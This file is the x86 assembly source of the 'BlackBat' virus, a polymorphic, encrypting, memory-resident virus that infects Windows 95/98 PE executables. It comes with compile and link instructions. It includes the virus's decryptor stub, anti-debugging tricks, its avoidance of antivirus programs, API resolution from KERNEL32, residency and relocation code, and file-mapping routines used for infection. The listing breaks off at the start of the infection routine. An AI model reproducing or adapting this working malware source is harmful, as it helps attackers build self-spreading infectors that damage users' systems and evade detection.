###################################
#BlackBat Virus - MUNDO HACKER
###################################
;+----------------------------------------------------------------------------+
Overview
Language - x86 Assembly
Operating Systems - Windows 95/98
Type - Memory Resident
Files Infected - Win32 Portable Executable Files (PE .EXE)
Characteristics - Polymorphic, Encrypting
Advanced features include Anti-Debugging Code and use of Structured Exception Handling. The virus will not infect computers that have WIN.SYS located in the root directory. The file time and date restored after infection. The virus will not infect Anti-Virus programs like Norton Anti-Virus, TBAV, McAfee, F-Prot and a few others
;+----------------------------------------------------------------------------+
;
;Compiling (Turbo Assembler)
; c:\>tasm32 /ml /m3 /t /w2 /s /p /dDEBUG=1 BlackBat
;
;Setting DEBUG=0 will compile the virus in Release mode. In this mode, an error
;message will be displayed, so that you don't accidently compile in release mode.
;In Release mode, the size of the Virus will be smaller, and .EXE files will be
;infected, instead of .XYZ files. In Debug mode, the file NOTEPAD.EXE, if found
;in the current directory, will be infected.
;
;Linking (Turbo Linker)
; c:\>tlink32 /x /Tpe /aa /c BlackBat,BlackBat,,IMPORT32.LIB
;
;Making Code Section Writable (EditBin from SDK, or any other utility)
; c:\>editbin /SECTION:CODE,w BlackBat.EXE
;
;***** Info About the Virus *****
;* If WIN.SYS is found in the root directory, the virus does not infect any file,
; and does not become resident.
;* File time and attributes are restored after infection
;* Encrypted with a random key
;* Doesn't infect anti-virus files, NAV, TBAV, SCAN, CLEAN, F-PROT
;* Anti-Debugging Code
;* Structured Exception Handling
;* Decryption engine is Polymorphic
;
;***** TODO *****
;1. Dont infect files with todays date
;2. Draw Random Bats on the Screen (Use CreateCompatibleBitmap & Get/Set Pixel)
;3. Doesn't infect files in directories with long file names
.386p
.model flat ,stdcall
EXTRN ExitProcess:PROC ;Any Imported Fn, so that the first
;generation copy executes without crashing
.data
DB ? ;Required for TASM, Else will Crash !!??
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | @MESSAGE_BOX Macro | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Displays a MessageBox with the given Message. Note the caption of
; the MessageBox is the same as the Message
;
; Arguments
; -> szMessage: Message to be displayed
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> ALL
;___________________________
@MESSAGE_BOX MACRO szMessage
IF DEBUG
@DELTA esi
mov eax, esi
add eax, offset szMessage
call esi + MessageBoxA, 0, eax, eax, MB_OK OR MB_ICONINFORMATION
ENDIF
ENDM
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | @DEFINE_API Macro | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Defines an API that will be called by the Virus. The macro is expanded
; to the following, if APIName is MessageBoxA:
; szMessageBoxA DB "MessageBoxA", 0
; MessageBoxA DD ?
;
; Arguments
; -> APIName: API to be defined. MUST BE EXACTLY the same as exported by
; the DLL. e.g. MessageBoxA
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> None
;
;________________________
@DEFINE_API MACRO APIName
sz&APIName DB "&APIName", 0 ;;ASCIIZ Name of API
&APIName DD ? ;;Storage space for API Address
ENDM
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | @DELTA Macro | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Returns the delta offset in the specified register
;
; Arguments
; -> Register: register in which the value of the delta offset is copied
;
; Return Value:
; -> Register: Delta Offset
;
; Registers Destroyed
; -> Register
;
;____________________
@DELTA MACRO Register
LOCAL GetIP
call GetIP ;;This will push EIP on the stack
GetIP:
pop Register ;;get EIP of current instruction
sub Register, offset GetIP ;;Delta Offset
ENDM
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | @OFFSET Macro | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Returns the true offset of the specified address. Unlike the offset
; keyword, which calculates the address at assembly time, this macro
; calculates the address at run-time. This is used to get the correct
; offset when the virus has been relocated. Instead of using instructions
; like "mov esi, offset szFilename", use "@OFFSET esi, szFilename"
;
; Arguments
; -> Register: register in which the offset is to be returned
; -> Expression: expression whose offset is required
;
; Return Value:
; -> Register: Correct offset of Expression
;
; Registers Destroyed
; -> Register
;
;_________________________________
@OFFSET MACRO Register, Expression
LOCAL GetIP
call GetIP ;;This will push EIP on the stack
GetIP:
pop Register ;;get EIP of current instruction
add Register, offset Expression - offset GetIP ;;True offset
ENDM
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | @GET_API_ADDRESS Macro | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Gets the address of the API, and stores it
;
; Arguments
; -> APIName: API whose address is required
; -> ESI: Delta Offset
; -> EBX: Address of GetProcAddress(...)
; -> ECX: Base address of DLL which exports the API
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> All Except ESI, EBX and ECX
;
;_____________________________
@GET_API_ADDRESS MACRO APIName
push ebx ;;Save Addr of GetProcAddress(...)
push ecx ;;Save Image Base
mov eax, esi
add eax, offset sz&APIName ;;API whose address is required
call ebx, ecx, eax ;;GetProcAddress(...)
pop ecx ;;Restore Image Base
pop ebx ;;Restore Addr of GetProcAddress(...)
mov [esi + APIName], eax ;;Save API Address
ENDM
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | @TRY_BEGIN, @TRY_EXCEPT and @TRY_END Exception Handling Macros | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> @TRY_BEGIN: This macro is used to install the exception handler. The
; code that follows this is the one that is checked for
; exceptions
; @TRY_EXCEPT: The code that follows this is executed if an exception
; occurs.
; @TRY_END: This is used to mark the end of the TRY block
;
; Example
; @TRY_BEGIN ZeroMemory
;
; @TRY_CATCH ZeroMemory
;
; @TRY_END ZeroMemory
;
; Arguments
; -> Handler: Name of the exception handler. MUST BE UNIQUE throughout the
; program
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> If an exception occurs, all registers are restored to the state before
; the @TRY_BEGIN block, otherwise, no registers are modified
;_______________________
@TRY_BEGIN MACRO Handler
pushad ;;Save Current State
@OFFSET esi, Handler ;;Address of New Exception Handler
push esi
push dword ptr fs:[0] ;;Save Old Exception Handler
mov dword ptr fs:[0], esp ;;Install New Handler
ENDM
@TRY_EXCEPT MACRO Handler
jmp NoException&Handler ;;No Exception Occured, so jump over
Handler:
mov esp, [esp + 8] ;;Exception Occured, Get old ESP
pop dword ptr fs:[0] ;;Restore Old Exception Handler
add esp, 4 ;;ESP value before SEH was set
popad ;;Restore Old State
ENDM
@TRY_END MACRO Handler
jmp ExceptionHandled&Handler ;;Exception was handled by @TRY_EXCEPT
NoException&Handler: ;;No Exception Occured
pop dword ptr fs:[0] ;;Restore Old Exception Handler
add esp, 32 + 4 ;;ESP value before SEH was set. 32 for pushad and ...
;;...4 for push offset Handler. (No Restore State)
ExceptionHandled&Handler: ;;Exception has been handled, or no exception occured
ENDM
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | @CALL_INT21h Macro | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Makes an INT 21h Call in Protected Mode
;
; Arguments
; -> Service: INT 21h Service Number
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> Depends on Service called
;_________________________
@CALL_INT21h MACRO Service
mov eax, Service ;;INT 21h Service
@DELTA esi
call esi + VxDCall, VWIN32_Int21Dispatch, eax, ecx
ENDM
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | Constants | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
;Win32 Constants
PAGE_READWRITE EQU 00000004h
IMAGE_READ_WRITE_EXECUTE EQU 0E0000000h
IMAGE_SCN_MEM_SHARED EQU 10000000h ;Section is Sharable
IMAGE_FILE_DLL EQU 2000h ;File is a DLL
FILE_MAP_ALL_ACCESS EQU 000F001Fh
IMAGE_SIZEOF_NT_SIGNATURE EQU 04h ;PE00 = 0x00004550, 4 bytes
NULL EQU 0
TRUE EQU 1
FALSE EQU 0
;File Access
GENERIC_READ EQU 80000000h ;Access Mode Read Only
GENERIC_WRITE EQU 40000000h ;Access Mode Write Only
FILE_SHARE_READ EQU 00000001h ;Open Share, Deny Write
FILE_SHARE_WRITE EQU 00000002h ;Open Share, Deny Read
INVALID_HANDLE_VALUE EQU -1
ERROR_ALREADY_EXISTS EQU 000000B7h
FILE_ATTRIBUTE_NORMAL EQU 00000080h
OPEN_EXISTING EQU 3 ;Fail if not found
;Shutdown Options
EWX_FORCE EQU 4
EWX_SHUTDOWN EQU 1
;MessageBox
MB_OK EQU 00000000h
MB_YESNO EQU 00000004h
MB_ICONINFORMATION EQU 00000040h
;Virus_Constants
@BREAK EQU int 3
;MAX_RUN_TIME EQU 5*60*60*1000 ;Time we allow windows to run, 5hrs
VIRUS_SIGNATURE EQU 08121975h ;My B'day, 8 Dec 1975
RESIDENCY_CHECK_SERVICE EQU 0AD75h ;Used to check if Virus is resident
RESIDENCY_SUCCESS EQU 0812h ;Value returned if Virus is resident
;VxD Stuff
VWIN32_Int21Dispatch EQU 002A0010h
LFN_OPEN_FILE_EXTENDED EQU 716Ch
PC_WRITEABLE EQU 00020000h
PC_USER EQU 00040000h
PR_SHARED EQU 80060000h
PC_PRESENT EQU 80000000h
PC_FIXED EQU 00000008h
PD_ZEROINIT EQU 00000001h
SHARED_MEMORY EQU 80000000h ;Anything above this is shared
PageReserve EQU 00010000h
PageCommit EQU 00010001h
PAGE_SIZE EQU 4096 ;Size of a Page in Win9x
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | Structures | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
FILETIME STRUC
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
FILETIME ENDS
IMAGE_DOS_HEADER STRUC ;DOS .EXE header
IDH_e_magic DW ? ;Magic number
IDH_e_cblp DW ? ;Bytes on last page of file
IDH_e_cp DW ? ;Pages in file
IDH_e_crlc DW ? ;Relocations
IDH_e_cparhdr DW ? ;Size of header in paragraphs
IDH_e_minalloc DW ? ;Minimum extra paragraphs needed
IDH_e_maxalloc DW ? ;Maximum extra paragraphs needed
IDH_e_ss DW ? ;Initial (relative) SS value
IDH_e_sp DW ? ;Initial SP value
IDH_e_csum DW ? ;Checksum
IDH_e_ip DW ? ;Initial IP value
IDH_e_cs DW ? ;Initial (relative) CS value
IDH_e_lfarlc DW ? ;File address of relocation table
IDH_e_ovno DW ? ;Overlay number
IDH_e_res DW 4 DUP (?) ;Reserved words
IDH_e_oemid DW ? ;OEM identifier (for IDH_e_oeminfo)
IDH_e_oeminfo DW ? ;OEM information; IDH_e_oemid specific
IDH_e_res2 DW 10 DUP (?) ;Reserved words
IDH_e_lfanew DD ? ;File address of new exe header
IMAGE_DOS_HEADER ENDS
IMAGE_FILE_HEADER STRUC
IFH_Machine DW ? ;System that the binary is intended to run on
IFH_NumberOfSections DW ? ;Number of sections that follow headers
IFH_TimeDateStamp DD ? ;Time/Date the file was created on
IFH_PointerToSymbolTable DD ? ;Used for debugging information
IFH_NumberOfSymbols DD ? ;Used for debugging information
IFH_SizeOfOptionalHeader DW ? ;sizof(IMAGE_OPTIONAL_HEADER)
IFH_Characteristics DW ? ;Flags used mostly for libraries
IMAGE_FILE_HEADER ENDS
IMAGE_DATA_DIRECTORY STRUC
IDD_VirtualAddress DD ?
IDD_Size DD ?
IMAGE_DATA_DIRECTORY ENDS
IMAGE_OPTIONAL_HEADER STRUC
;Standard Fields
IOH_Magic DW ? ;Mostly 0x010B
IOH_MajorLinkerVersion DB ? ;Version of the linker used
IOH_MinorLinkerVersion DB ? ;Version of the linker used
IOH_SizeOfCode DD ? ;Size of executable code
IOH_SizeOfInitializedData DD ? ;Size of Data Segment
IOH_SizeOfUninitializedData DD ? ;Size of bss Segment
IOH_AddressOfEntryPoint DD ? ;RVA of code entry point
IOH_BaseOfCode DD ? ;Offset to executable code
IOH_BaseOfData DD ? ;Offset to initialized data
;NT Additional Fields
IOH_ImageBase DD ? ;Preferred load address
IOH_SectionAlignment DD ? ;Alignment of Sections in RAM
IOH_FileAlignment DD ? ;Alignment of Sections in File
IOH_MajorOperatingSystemVersion DW ? ;OS Version required to run this image
IOH_MinorOperatingSystemVersion DW ? ;OS Version required to run this image
IOH_MajorImageVersion DW ? ;User specified version number
IOH_MinorImageVersion DW ? ;User specified version number
IOH_MajorSubsystemVersion DW ? ;Expected Subsystem version
IOH_MinorSubsystemVersion DW ? ;Expected Subsystem version
IOH_Win32VersionValue DD ? ;Mostly set to 0
IOH_SizeOfImage DD ? ;Amount of memory the image will need
IOH_SizeOfHeaders DD ? ;Size of DOS hdr, PE hdr and Object table
IOH_CheckSum DD ? ;Checksum (Used by NT to check drivers)
IOH_Subsystem DW ? ;Subsystem required to run this image
IOH_DllCharacteristics DW ? ;To decide when to call DLL's entry point
IOH_SizeOfStackReserve DD ? ;Size of Reserved Stack
IOH_SizeOfStackCommit DD ? ;Size of initially commited stack
IOH_SizeOfHeapReserve DD ? ;Size of local heap to reserve
IOH_SizeOfHeapCommit DD ? ;Amount to commit in local heap
IOH_LoaderFlags DD ? ;Not generally used
IOH_NumberOfRvaAndSizes DD ? ;Number of valid entries in DataDirectory
IOH_DataDirectory IMAGE_DATA_DIRECTORY 16 DUP (?)
IMAGE_OPTIONAL_HEADER ENDS
IMAGE_EXPORT_DIRECTORY STRUC
IED_Characteristics DD ? ;Currently set to 0
IED_TimeDateStamp DD ? ;Time/Date the export data was created
IED_MajorVersion DW ? ;User settable
IED_MinorVersion DW ?
IED_Name DD ? ;RVA of DLL ASCIIZ name
IED_Base DD ? ;First valid exported ordinal
IED_NumberOfFunctions DD ? ;Number of entries
IED_NumberOfNames DD ? ;Number of entries exported by name
IED_AddressOfFunctions DD ? ;RVA of export address table
IED_AddressOfNames DD ? ;RVA of export name table pointers
IED_AddressOfNameOrdinals DD ? ;RVA of export ordinals table entry
IMAGE_EXPORT_DIRECTORY ENDS
IMAGE_SECTION_HEADER STRUC
ISH_Name DB 8 DUP (?) ;NULL padded ASCII string
UNION
ISH_PhysicalAddress DD ?
ISH_VirtualSize DD ? ;Size that will be allocated when obj is loaded
ENDS
ISH_VirtualAddress DD ? ;RVA to section's data when loaded in RAM
ISH_SizeOfRawData DD ? ;Size of sections data rounded to FileAlignment
ISH_PointerToRawData DD ? ;Offset from files beginning to sections data
ISH_PointerToRelocations DD ?
ISH_PointerToLinenumbers DD ?
ISH_NumberOfRelocations DW ?
ISH_NumberOfLinenumbers DW ?
ISH_Characteristics DD ? ;Flags to decide how section should be treated
IMAGE_SECTION_HEADER ENDS
SYSTEMTIME STRUC
ST_wYear DW ?
ST_wMonth DW ?
ST_wDayOfWeek DW ?
ST_wDay DW ?
ST_wHour DW ?
ST_wMinute DW ?
ST_wSecond DW ?
ST_wMilliseconds DW ?
SYSTEMTIME ENDS
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | Virus Entry Point | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
.code
;Decryptor
StartOfVirusCode:
call GetDelta
GetDelta:
DB 5Eh ;pop esi
DB 83h ;add esi, EncryptedVirusCode - GetDelta
DB 0C6h
DB offset EncryptedVirusCode - offset GetDelta
DB 0B9h ;mov ecx, ENCRYPTED_SIZE
DD ENCRYPTED_SIZE
DecryptByte:
DB 80h ;xor byte ptr [esi], 00h
DB 36h
EncryptionKey:
DB 00h
DB 46h ;inc esi
DB 49h ;dec ecx
jnz DecryptByte
EncryptedVirusCode: ;Code from this point is encrypted
jmp WinMain ;Goto Main Program
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | Data Area | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
dwKernelBase EQU 0BFF70000h ;Base address of KERNEL32.DLL
dwUserBase DD ? ;Base address of USER32.DLL
szUser32DLL DB "USER32", 0 ;.DLL Extention is not required
;Host File Variables
hHostFile DD ? ;Handle of host file
hMappedFile DD ? ;Handle of mapped host file
lpHostFile DD ? ;Pointer to mapped host file in memory
ftLastAccessTime FILETIME ? ;Time the file was last accessed
ftLastWriteTime FILETIME ? ;Time the file was last written to
dwFileAttributes DD ? ;File attributes of host file
;Virus Variables
szNoInfectFileName DB "C:\WIN.SYS", 0 ;If this file exists, machine is not infected
;VxD Stuff
OldInt30 DB 6 DUP (0)
VxDCall_Busy DB ? ;Semaphore
szOutputFile DB "C:\VIRUS.TXT", 0
;KERNEL32 API's
VxDCall DD ? ;Exported by ordinal only (Ord 1)
@DEFINE_API GetProcAddress
@DEFINE_API CloseHandle
@DEFINE_API CreateFileA
@DEFINE_API CreateFileMappingA
@DEFINE_API GetFileAttributesA
@DEFINE_API GetFileSize
@DEFINE_API GetFileTime
@DEFINE_API GetLocalTime
@DEFINE_API GetTickCount
@DEFINE_API LoadLibraryA
@DEFINE_API MapViewOfFile
@DEFINE_API SetFileAttributesA
@DEFINE_API SetFileTime
@DEFINE_API UnmapViewOfFile
;USER32 API's
@DEFINE_API ExitWindowsEx
IF DEBUG
@DEFINE_API MessageBoxA
ENDIF
;DEBUG Only Stuff
IF DEBUG
szHostFileName DB "NOTEPAD.EXE",0
szWinMainHandler DB "Unhandled Exception in WinMain", 0
szPayLoad DB "Happy BirthDay :-)", 0
szInfected DB "This File is Infected by the BlackBat Virus", 0
ENDIF
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | WinMain | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
WinMain PROC
IFE DEBUG ;Only for Release Versions
cli
not esp ;Anti-Debug Code ...
not esp ;...will crash if single-stepped
sti
ENDIF
@TRY_BEGIN WinMain_Handler ;Putting code in protected block
call IsVirusActive
test eax, eax ;Virus Resident ?
jne End_WinMain ;Yes, return to host
;Get Addresses of all Required API's
call GetAPIAddresses ;Get the addresses of the other API's
test eax, eax ;Error occured ?
jz End_WinMain ;Transfer control to host
IF DEBUG
@MESSAGE_BOX szInfected
@OFFSET ebx, szHostFileName
call InfectFile, ebx
ENDIF
;Check if this Machine is to be Infected
call CanMachineBeInfected ;Is this my machine
test eax, eax
jz End_WinMain ;Yes, so don't infect
;Relocate Virus (Make Resident)
call RelocateVirus
or eax, eax ;Virus Relocated?
je End_WinMain ;No
;Jump to Relocated Virus Copy
@OFFSET ebx, StartOfVirusCode ;Start of Virus in Non-Relocated Copy
add eax, offset RelocatedVirus - offset StartOfVirusCode
jmp eax ;Control will go to Relocated Copy
;This part is the Relocated Copy of the Virus in Shared Memory
RelocatedVirus:
;When a file is infected, the CALL instruction at label ReturnToHost is
;replaced by a JMP XXXXXXXX instruction. Since the virus has been relocated,
;this JMP instruction will point to some invalid location. We need to modify
;this, so that the JMP points to the host program (which was not relocated)
;The offset of Calculate_Offset_Instruction in the non-relocated virus was
;saved in EBX before jumping here. Now we calculate the offset in the relocated
;virus (this copy).
@DELTA eax
mov esi, eax ;Save Delta Offset
add eax, offset StartOfVirusCode ;Start of Virus in Relocated Copy
sub eax, ebx ;Difference in offsets
;We now subtract this difference from the offset specified in the JMP
;instruction, and update the JMP instruction to point to the correct location
;in memory
add esi, offset ReturnToHost + 1 ;Point to operand of JMP instruction
sub [esi], eax ;Fix JMP instruction
call InstallHookProcedure
End_WinMain:
@TRY_EXCEPT WinMain_Handler
@MESSAGE_BOX szWinMainHandler
@TRY_END WinMain_Handler
ReturnToHost:
DB 0E9h, 00, 00, 00, 00 ;JMP instruction used for passing control
;to the host. The address of this JMP
;instruction is calculated at run-time
;ret ;Not required, since control is transfered to host
WinMain ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | GetAPIAddresses | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Finds the Address of the API's to be used by the virus
;
; Arguments
; -> None
;
; Return Value:
; -> EAX: 1, if the API addresses were found, 0 otherwise
;
; Registers Destroyed
; -> All
;___________________
GetAPIAddresses PROC
call GetAddressOfKernelAPI, 1 ;Get Address Of GetProcAddress
test eax, eax ;Found Address ?
jz End_GetAPIAddresses ;No, Return 0
;Get addresses of all required KERNEL32 API's
;ESI = Delta Offset
;EBX = Address of GetProcAddress(...)
;ECX = Image Base of KERNEL32.DLL
@DELTA esi
mov ebx, eax ;Address of GetProcAddress(...)
mov ecx, dwKernelBase ;Base address of KERNEL32.DLL
@GET_API_ADDRESS CloseHandle
@GET_API_ADDRESS CreateFileA
@GET_API_ADDRESS CreateFileMappingA
@GET_API_ADDRESS GetFileAttributesA
@GET_API_ADDRESS GetFileSize
@GET_API_ADDRESS GetFileTime
@GET_API_ADDRESS GetLocalTime
@GET_API_ADDRESS GetTickCount
@GET_API_ADDRESS LoadLibraryA
@GET_API_ADDRESS MapViewOfFile
@GET_API_ADDRESS SetFileAttributesA
@GET_API_ADDRESS SetFileTime
@GET_API_ADDRESS UnmapViewOfFile
;Load USER32.DLL
push ebx ;Save address of GetProcAddress(...)
mov eax, esi ;Delta Offset
add eax, offset szUser32DLL ;Name of DLL to be loaded
call esi + LoadLibraryA, eax
mov ecx, eax ;Base address of USER32.DLL
pop ebx ;Restore address of GetProcAddress(...)
;Get addresses of all required USER32 API's
;ESI = Delta Offset
;EBX = Address of GetProcAddress(...)
;ECX = Image Base of USER32.DLL
@GET_API_ADDRESS ExitWindowsEx
IF DEBUG
@GET_API_ADDRESS MessageBoxA
ENDIF
End_GetAPIAddresses:
ret
GetAPIAddresses ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | GetAddressOfKernelAPI | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Finds the address of GetProcAddress or VxDCall API in KERNEL32.DLL. The
; VxDCall API is exported by ordinal only, and the GetProcAddress is
; exported by name.
;
; Arguments
; -> EDX: offset of the program <---- NOT USED ANYMORE ???
; -> gaoka_wAPIName: If 0, the address of VxDCall is Returned. Else, the address
; of GetProcAddress is returned.
;
; Return Value:
; -> EAX: Address of the Required API if Found, Else NULL
;
; Registers Destroyed
; -> All
;______________________________
GetAddressOfKernelAPI PROC gaoka_wAPIName:WORD
LOCAL lpdwAddressOfFunctions:DWORD, \
lpdwAddressOfNames:DWORD, \
lpwAddressOfNameOrdinals: WORD, \
dwVAIED:DWORD
;Get File Headers
call GetFileHeaders, dwKernelBase
test eax, eax ;Successfully Retreived Headers?
je End_GetAddressOfKernelAPI ;No, probably Windows NT / 2000
mov [dwVAIED], edx
mov esi, dwKernelBase
;Get Address of Functions
mov ecx, [dwVAIED]
mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfFunctions
add eax, esi ;VA of Address of functions
mov dword ptr [lpdwAddressOfFunctions], eax
;Check which API is Required
cmp [gaoka_wAPIName], 0 ;Return Address of VxDCall or GetProcAddress ?
jne GetProcAddressRequired ;GetProcAddress
;Get Address of VxDCall API (Ordinal 1)
xor eax, eax
inc eax ;Ordinal Reqd = 1
sub eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_Base ;Index In Array
jmp GetAddressFromIndex
GetProcAddressRequired:
;Get Address of Names
mov ecx, [dwVAIED]
mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNames
add eax, esi ;VA of Address of Names
mov dword ptr [lpdwAddressOfNames], eax
;Get Address of Name ordinals
mov ecx, [dwVAIED]
mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNameOrdinals
add eax, esi ;VA of Add of Name Ordinals
mov dword ptr [lpwAddressOfNameOrdinals], eax
;Find the API index in the AddressOfNames array
push esi ;Save the base address of KERNEL32
mov eax, esi ;Also save in EAX
xor ebx, ebx
dec ebx ;Initialize Index to -1
mov edx, dword ptr [lpdwAddressOfNames]
@OFFSET esi, szGetProcAddress ;API to be found
mov ecx, esi ;Save address in ECX
CheckNextAPI:
inc ebx ;increment index
mov edi, dword ptr [edx + ebx*4] ;go the the ebx'th index
add edi, eax ;get the VA from the RVA
mov esi, ecx ;get address stored previously
CheckNextByte:
cmpsb ;Check Byte
jne CheckNextAPI ;byte did not match, Incorrect API, Check Next One
cmp byte ptr [edi], 0 ;Have we reached the end-of-string
je FoundAPI ;Yes? We've found the API
jmp CheckNextByte ;No, Check the next byte
FoundAPI:
;EBX contains the index of the function into the array
pop esi ;Get the base address of KERNEL32
;Compute the Index
mov ecx, ebx
mov edx, dword ptr [lpwAddressOfNameOrdinals]
movzx eax, word ptr [edx + ecx*2] ;Index
;Get the Address (EAX = Index, ESI = Kernel32 Base)
GetAddressFromIndex:
mov ebx, [lpdwAddressOfFunctions]
mov eax, dword ptr [ebx + eax*4] ;RVA of the API
add eax, esi ;VA of the API
End_GetAddressOfKernelAPI:
ret
GetAddressOfKernelAPI ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | OpenAndMapFile | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Opens a file from disk, and maps it into memory. The function also
; saves the file modified time and file attributes before opening the
; file. These are later restored by UnmapAndCloseFile
;
; Arguments
; -> DWORD oamf_szFileName: Pointer to ASCIIZ name of file to be mapped
; -> DWORD oamf_dwAddBytes: Number of bytes by which to increase the file size
;
; Return Value:
; -> EAX: Starting address of memory where the file has been mapped, or 0
; if an error occured
; -> ECX: Original File Size
;
; Registers Destroyed
; -> All
;_______________________________________________________________
OpenAndMapFile PROC oamf_szFileName:DWORD, oamf_dwAddBytes:DWORD
@DELTA esi
;Save File Attributes, and Clear all attributes
call esi + GetFileAttributesA, oamf_szFileName
mov [esi + dwFileAttributes], eax ;Save File Attributes
call esi + SetFileAttributesA, oamf_szFileName, FILE_ATTRIBUTE_NORMAL
test eax, eax ;File Attributes Set ?
je End_OpenAndMapFile ;No, Return 0
;Open the file in R/W mode
call esi + CreateFileA, oamf_szFileName, GENERIC_READ OR GENERIC_WRITE, \
FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL
cmp eax, INVALID_HANDLE_VALUE ;File Opened ?
je Error_OpenAndMapFile_Create ;No
mov [esi + hHostFile], eax ;Yes, Save handle of host file
;Get and Store File Time
lea ebx, [esi + ftLastAccessTime]
lea ecx, [esi + ftLastWriteTime]
call esi + GetFileTime, eax, NULL, ebx, ecx
;Compute the new file size
call esi + GetFileSize, [esi + hHostFile], NULL
add eax, [oamf_dwAddBytes] ;Compute New File Size
;Map the file
call esi + CreateFileMappingA, [esi + hHostFile], NULL, PAGE_READWRITE, \
0, eax, NULL
test eax, eax ;File Mapping Created
jz Error_OpenAndMapFile_Mapping ;No
mov [esi + hMappedFile], eax ;Yes, Save Handle
;Map View of the File
call esi + MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0
mov [esi + lpHostFile], eax ;Have to save Mapped Address
test eax, eax ;File Mapped Successfully ?
jnz End_OpenAndMapFile ;Yes
;Error Occured, Close Files, and Restore Attributes
call esi + CloseHandle, [esi + hMappedFile] ;Failed, Close File Mapping
Error_OpenAndMapFile_Mapping:
call esi + CloseHandle, [esi + hHostFile] ;Failed, Close the File
Error_OpenAndMapFile_Create:
call esi + SetFileAttributesA, oamf_szFileName, [esi + dwFileAttributes]
xor eax, eax ;Error, Return 0
End_OpenAndMapFile:
ret
OpenAndMapFile ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | UnmapAndCloseFile | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Unmaps the open file and closes the handles associated with it. It
; also restores the original file attributes and file time.
;
; Arguments
; -> uacf_szFilename: Name of the file that is being unmapped. This is
; used only to restore the file attributes
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> All
;_____________________
UnmapAndCloseFile PROC uacf_szFilename:DWORD
;Unmap File
@DELTA esi
call esi + UnmapViewOfFile, [esi + lpHostFile] ;Unmap the File
call esi + CloseHandle, [esi + hMappedFile] ;Close File Mapping
;Restore File Time
lea eax, [esi + ftLastAccessTime]
lea ebx, [esi + ftLastWriteTime]
call esi + SetFileTime, [esi + hHostFile], NULL, eax, ebx
;Close File
call esi + CloseHandle, [esi + hHostFile] ;Close the File
;Restore File Attributes
call esi + SetFileAttributesA, uacf_szFilename, [esi + dwFileAttributes]
ret
UnmapAndCloseFile ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | InfectFile | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Infects the host file with our virus
;
; Arguments
; -> DWORD if_szFileName: Address of the file to be infected
; -> DWORD if_dwIncFileSize: Size by which the section is 2B increased (Bytes)
; -> DWORD if_dwIncSecSize: Size by which the file is 2B increased (Bytes)
;
; Return Value:
; -> EAX: 1 if Infected, 0 on Error
;
; Registers Destroyed
; -> All
;__________________________________
InfectFile PROC if_szFileName:DWORD
LOCAL lpdwLastSection:DWORD, \
dwVirusBegin:DWORD, \
dwNewEntryRVA:DWORD, \
dwJumpBytes:DWORD, \
dwIOH:DWORD, \
dwIncFileSize:DWORD, \
dwIncSecSize:DWORD, \
dwDeltaOffset:DWORD
@DELTA esi
